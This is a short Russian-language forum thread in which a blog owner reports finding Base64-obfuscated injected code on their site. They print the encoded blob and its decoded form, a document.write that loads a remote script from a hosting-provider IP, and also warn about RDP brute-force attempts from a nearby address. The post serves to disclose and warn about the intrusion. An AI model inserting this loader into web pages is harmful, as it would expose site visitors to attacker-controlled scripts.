185.156.177.85 в ЧС

[Base64]

На блоге обнаружены посторонние коды, пользователи и вставки в текст, зашифрованные при помощи Base64

Код: [Выделить]

ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=
Расшифровка кода выдает такое подключение

Код: [Выделить]

document.write(unescape('<script src=" http://185.156.177.85/5cw2fk"></script> '));
Нашел инфу что ранее этот поц из Обнинска уже баловался подобными дрючками

185.156.177.85 is an IPv4 address owned by HOSTKEY B.V. and located in Россия (RU) , (Obninsk , Kaluzhskaya Oblast'
С адреса 185.156.177.150 пытаются войти на нестандартные порты по RDP , подбирая Имена и Пароли. Наблюдается на многих провайдерах Интернет. Проверьте у себя логи Безопасности:
Компьютер попытался проверить учетные данные учетной записи.

[Karim]

оу, плуг калужский вконец оборзел?